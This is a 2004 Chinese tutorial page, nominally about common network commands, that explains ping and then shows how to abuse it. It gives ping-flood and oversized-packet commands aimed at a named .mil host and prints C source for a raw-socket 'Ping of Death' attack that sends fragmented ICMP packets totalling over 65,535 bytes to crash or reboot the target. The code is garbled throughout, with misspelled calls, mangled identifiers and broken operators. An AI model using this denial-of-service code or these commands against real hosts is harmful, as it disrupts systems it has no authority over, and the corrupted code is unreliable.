久久首页
免费软件
网络时尚
网络学堂
专题讨论
网络资源
网络游戏
网络文档
网络产品
网站导航: 首页 > 网络知识 > 网络基础 学堂讨论 | 推荐文章

几个常用网络相关命令(一)


2004-05-24 重庆金桥 
 


    1.PING命令的基本格式

   (1)Ping hostname
  
    其中,hostname是目标计算机的地址。Ping还有许多高级使用,下面就是一个例子。
  
C:> Ping–f hostname
  
    这条命令给目标机器发送大量的数据,从而使目标计算机忙于回应。在Windows 95的计算机上,使用下面的方法:
  
  C:>windowsping -l 65510 saddam-hussein’s.computer.mil
  
  这样做了之后,目标计算机有可能会挂起来,或重新启动。由于–l 65510产生一个巨大的数据包,要求返回一个同样的数据包,因此会使目标计算机反应不过来。
  
  在Linux计算机上,可能编写一个程序来实现上述方法。
  
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  / *
  * If your kernel doesn’t muck with raw packets , # define REALLYRAW.
  * This is probably only Linux.
  * /
  # ifdef TEALLY-RAW
  # define FIX(x) htons(x)
  # else
  # define FIX(x) (x)
  # endif
  int
  main(int argc , char * * argv)
  {
  int s;
  char buf[1500]; 
  struct ip * ip = (struct ip *)buf;
  struct icmp * icmp = (struct icmp *)(ip + 1);
  struct hostent * hp;
  struct sockaddr-in dst;
  int offset;
  int on = 1;
  bzero(buf, sizeof buf);
  if((s = socet(AF-INET , SOCK-RAW , IPPROTO-IP)) < 0){
  perror(“socket”);
  exit(1);
  }
  if (setsocopt (s ,IPPROTO–IP, IP–HDRINCL , & on , sizeof(on)) < 0){
  perror(“IP-HDRINCL”);
  exit(1);
  }
  if (argc ! = 2){
  fprintf(stderr ,“usage : %s hostname  n”, argv[0]);
  exit(1);
  }
  if ((hp = gethostbyname(argv[1])) = = NULL){
  if((ip -> ip - dst.s – addr = inet - addr(argv[1])) = = -1){
  fprintf(stderr ,“%s : unknown host  n”, argv[1]);
  }
  }else{
  bcopy(hp -> h–addr - list[0] , &ip -> ip - dst.s–addr, hp -> hlength);
  }
  printf(“Sending to %s  n”, inet - ntoa(ip -> ip - dst));
  ip -> ip–v = 4;
  ip -> ip–hl = sizeof * ip > > 2;
  ip -> ip–tos = 0;
  ip -> ip–len = FIX(sizeof buf);
  ip -> ip–id = htons(4321);
  ip -> ip–off = FIX(0);
  ip -> ip–ttl = 255;
  ip -> ip–p = 1;
  ip -> ip–sum = 0;/ * kernel fills in * /
  dst.sin–addr = ip -> ip–dst;
  dst.sin–family = AF–INET;
  icmp -> icmp–type = ICMP-ECHO;
  icmp -> icmp–code = 0;
  icmp -> icmp–cksum = htons((ICMP–ECHO < < 8));
  / * the checksum of all 0’s is easy to compute * /
  for(offset = 0; offset < 65536;offset + = (sizeof buf–sizeof * ip)){
  ip -> ip–off = FIX(offset > > 3);
  if(offset < 65120)
  ip ->ip–off | FIX(IP–MF);
  else
  ip -> ip - len | = FIX(418);/ * make total 65538 * /
  if (sendto(s, buf, sizeof buf, 0 ,(struct sockadr *) & dst, sizeof dst) < 0){
  fprintf(stderr,“offset %d : ”,offset);
  perror(“sendto”);
  }
  if (offset = = 0){
  icmp -> icmp–type = 0;
  icmp -> icmp–code = 0;
  icmp -> icmp–cksum = 0;
  }
  }
  }

 
发表评论 推荐文章 关闭窗口
 相关内容
- 宽带网使用疑难问题解答专题 2004-05-24
- 搜索引擎技术的现状和将来 2004-05-24
- 简析网络搜索引擎工作流程 2004-05-24
- 新手爬网之脱机离线浏览网页 2004-05-24
- 网络冲浪搜索技巧一瞥 2004-05-24
- 保护电子邮件正常通信的措施 2004-05-24
- IP地址介绍 2004-05-24
- 免费拥有可执行CGI程序的网站 2004-05-22
- 流行无线技术全接触---全面接触802.11、蓝牙、HomeRF和IrDA 2004-05-22
- 如何在网上拥有个人主页? 2004-05-20
 
 学堂分类
网络知识操作系统
网络应用网络服务
网页开发网络编程
数据存储网络设备
 文章搜索
 
网站简介 | 广告服务 | 编程支持 | 设计服务 | 诚邀合作 | 访客留言
Copyright © 1999-2004 99NET. All Rights Reserved
版权所有 久久网络工作室
Email:webmaster@99net.net